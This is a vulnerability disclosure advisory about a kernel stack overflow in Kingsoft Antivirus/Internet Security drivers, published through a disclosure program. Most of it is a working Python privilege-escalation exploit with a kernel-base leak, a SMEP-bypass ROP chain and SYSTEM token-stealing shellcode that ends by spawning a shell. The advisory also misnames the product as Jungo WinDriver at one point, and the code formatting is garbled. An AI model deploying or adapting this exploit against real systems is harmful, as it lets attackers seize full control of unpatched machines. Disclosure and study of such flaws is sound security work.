SSD Advisory – Kingsoft Antivirus/Internet Security 9+ Privilege Escalation

blogs.securiteam.com/index.php/archives/3597

Vulnerability Summary The following advisory describes a kernel stack buffer overflow that leads to privilege escalation found in Kingsoft Antivirus/Internet Security 9+.

Kingsoft Antivirus "provides effective and efficient protection solution at no cost to users. It applies cloud security technology to monitor, scan and protect your systems without any worrying. The comprehensive defender and anti-virus tools prevent and protect your computer from unwanted virus, worms, and Trojans. With the simplest and easiest-to-use functions, users find themselves no difficulty to handle Kingsoft Antivirus."

Credit An independent security researcher, Steven Seeley, has reported this vulnerabilities to Beyond Security's SecuriTeam Secure Disclosure program

Vendor response We tried to contact Kingsoft since October 8 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for these vulnerability. **Vulnerability details** This vulnerability allows local attackers to escalate privileges on vulnerable installations of Jungo WinDriver.

The specific flaws exists within the processing of IOCTL 0x80030004 or 0x80030008 by either the kavfm.sys (anti-virus) or the KWatch3.sys (internet security) kernel driver.

The driver doesn't properly validate user-supplied data which can result in a kernel stack buffer overflow.

An attacker can leverage this vulnerability to execute arbitrary code under the context of kernel.

```
1   ;jumptable000117C1case0
2   .text:000117C8loc_117C8:;CODE XREF:sub_11790+31
3   .text:000117C8
4   .text:000117C8push    ebx;our input buffer size
5   .text:000117C9lea     ecx,[esp+58h+var_40];thisisafixed size stack buffer of0x40
6   .text:000117CDpush    edi;our input buffer
7   .text:000117CEpush    ecx;char*
8   .text:000117CFcall    strncpy;stack buffer overflow
9   .text:000117D4add     esp,0Ch
10  .text:000117D7lea     edx,[esp+54h+var_40]
11  .text:000117DBpush    edx;char*
12  .text:000117DCmov[esp+ebx+58h+var_40],0
13  .text:000117E1call    sub_167B0
14  .text:000117E6pop     edi
15  .text:000117E7mov     esi,eax
16  .text:000117E9pop     esi
17  .text:000117EApop     ebp
18  .text:000117EBpop     ebx
19  .text:000117ECadd     esp,44h
20  .text:000117EFretn8
```

Proof of Concept

```
1   import sys
2   from ctypes import *
```

```
from time import sleep
from ctypes.wintypes import *
import struct
import os
from random import choice
kernel32=windll.kernel32
ntdll=windll.ntdll
MEM_COMMIT=0x00001000
MEM_RESERVE=0x00002000
PAGE_EXECUTE_READWRITE=0x00000040
STATUS_SUCCESS=0
def get_ioctl():
returnchoice([0x80030004,0x80030008])
def alloc_shellcode(base,input_size):
"""
    allocates some shellcode
    """
print"(+) allocating shellcode @ 0x%x"%base
baseadd=c_int(base)
size=c_int(input_size)
# --[ setup]
input=struct.pack("<I",0x000506f8)# bypass smep
# --[ setup]
input+="\x60"# pushad
input+="\x64\xa1\x24\x01\x00\x00"# mov eax, fs:[KTHREAD_OFFSET]
# I have to do it like this because windows is a little special
# this just gets the EPROCESS. Windows 7 is 0x50, now its 0x80.
input+="\x8d\x40\x70"# lea eax, [eax+0x70];
input+="\x8b\x40\x10"# mov eax, [eax+0x10];
input+="\x89\xc1"# mov ecx, eax (Current _EPROCESS structure)
# win 10 rs2 x86 TOKEN_OFFSET = 0xfc
# win 07 sp1 x86 TOKEN_OFFSET = 0xf8
input+="\x8B\x98\xfc\x00\x00\x00"# mov ebx, [eax + TOKEN_OFFSET]
# --[ copy system PID token]
input+="\xba\x04\x00\x00\x00"# mov edx, 4 (SYSTEM PID)
input+="\x8b\x80\xb8\x00\x00\x00"# mov eax, [eax + FLINK_OFFSET] <-|
input+="\x2d\xb8\x00\x00\x00"# sub eax, FLINK_OFFSET           |
input+="\x39\x90\xb4\x00\x00\x00"# cmp [eax + PID_OFFSET], edx     |
input+="\x75\xed"# jnz                          ->|
# win 10 rs2 x86 TOKEN_OFFSET = 0xfc
# win 07 sp1 x86 TOKEN_OFFSET = 0xf8
input+="\x8b\x90\xfc\x00\x00\x00"# mov edx, [eax + TOKEN_OFFSET]
input+="\x89\x91\xfc\x00\x00\x00"# mov [ecx + TOKEN_OFFSET], edx
# --[ recover]
input+="\x61"# popad
input+="\x83\xc4\x0c"# adjust the stack by 0xc
input+="\x31\xc0"# return NTSTATUS = STATUS_SUCCESS
input+="\xc3"# ret
# filler
input+="\x43"*(input_size-len(input))
ntdll.NtAllocateVirtualMemory.argtypes=[c_int,POINTER(c_int),c_ulong,
POINTER(c_int),c_int,c_int]
dwStatus=ntdll.NtAllocateVirtualMemory(0xffffffff,byref(baseadd),0x0,
byref(size),
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE)
```

```
59  ifdwStatus!=STATUS_SUCCESS:
60  print"(-) Error while allocating memory: %s"%hex(dwStatus+0xffffffff)
61  returnFalse
62  written=c_ulong()
63  write=kernel32.WriteProcessMemory(0xffffffff,base,input,len(input),byref(written))
64  ifwrite==0:
65  print"(-) Error while writing our input buffer memory: %s"%write
66  returnFalse
67  returnTrue
68  def alloc(base,input_size,ip):
69  baseadd=c_int(base)
70  size=c_int(input_size)
71  input="\x44"*0x40# offset to ip
72  # start our rop chain
73  input+=struct.pack("<I",nt+0x51976f)# pop ecx; ret
74  input+=struct.pack("<I",0x75757575)# junk
75  input+=struct.pack("<I",0x76767676)# junk
76  input+=struct.pack("<I",ip)# load 0x506f8
77  input+=struct.pack("<I",nt+0x04664f)# mov eax, [ecx]; ret
78  input+=struct.pack("<I",nt+0x22f2da)# mov cr4,eax; ret
79  input+=struct.pack("<I",ip+0x4)# &shellcode
80  # filler
81  input+="\x43"*(input_size-len(input))
82  ntdll.NtAllocateVirtualMemory.argtypes=[c_int,POINTER(c_int),c_ulong,
83  POINTER(c_int),c_int,c_int]
84  dwStatus=ntdll.NtAllocateVirtualMemory(0xffffffff,byref(baseadd),0x0,
85  byref(size),
86  MEM_RESERVE|MEM_COMMIT,
87  PAGE_EXECUTE_READWRITE)
88  ifdwStatus!=STATUS_SUCCESS:
89  print"(-) error while allocating memory: %s"%hex(dwStatus+0xffffffff)
90  sys.exit()
91  written=c_ulong()
92  write=kernel32.WriteProcessMemory(0xffffffff,base,input,len(input),byref(written))
93  ifwrite==0:
94  print"(-) error while writing our input buffer memory: %s"%write
95  sys.exit()
96  def we_can_trigger_overflow():
97  GENERIC_READ=0x80000000
98  GENERIC_WRITE=0x40000000
99  OPEN_EXISTING=0x3
100 IOCTL_VULN=get_ioctl()
101 DEVICE_NAME="\\\\.\\KWatch3"
102 dwReturn=c_ulong()
103 driver_handle=kernel32.CreateFileA(DEVICE_NAME,GENERIC_READ|GENERIC_WRITE,0,None,OPEN_EXISTING,0,None)
104 ip=0x24242424
105 inputbuffer=0x41414141
106 inputbuffer_size=0x60
107 outputbuffer_size=0x1000
108 outputbuffer=0x20000000
109 alloc(inputbuffer,inputbuffer_size,ip)
110 alloc_shellcode(ip,0x100)
111 alloc(outputbuffer,0x100,ip)
112 IoStatusBlock=c_ulong()
113 ifdriver_handle:
114 print"(+) sending stack overflow..."
```

```
dev_ioctl=ntdll.ZwDeviceIoControlFile(driver_handle,
None,
None,
None,
byref(IoStatusBlock),
IOCTL_VULN,
inputbuffer,
inputbuffer_size,
outputbuffer,
outputbuffer_size
)
returnTrue
returnFalse
def we_can_leak_the_base():
"""
    Get kernel base address.
    This function uses psapi!EnumDeviceDrivers which is only callable
    from a non-restricted caller (medium integrity or higher). Also the
    assumption is made that the kernel is the first array element returned.
    """
globalnt
print"(+) enumerating kernel base address..."
array=c_ulonglong *1024
lpImageBase=array()
szDriver=array()
cb=sizeof(lpImageBase)
lpcbNeeded=c_long()
res=windll.psapi.EnumDeviceDrivers(byref(lpImageBase),
sizeof(lpImageBase),
byref(lpcbNeeded))
ifnotres:
print"(-) unable to get kernel base: "+FormatError()
sys.exit(-1)
# nt is the first one
nt=lpImageBase[0]&0x00000000ffffffff
returnTrue
def main():
print"\n\t--[ Kingsoft Internet Security Kernel Stack Overflow EoP Exploit ]"
print"\t              Steven Seeley (mr_me) of Source Incite\r\n"
ifwe_can_leak_the_base():
print"(+) found nt base at 0x%08x"%(nt)
ifwe_can_trigger_overflow():
os.system("cmd.exe")
else:
print"(-) it appears that kingsoft Internet Security is not installed!"
if__name__=='__main__':
main()
```

```
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
```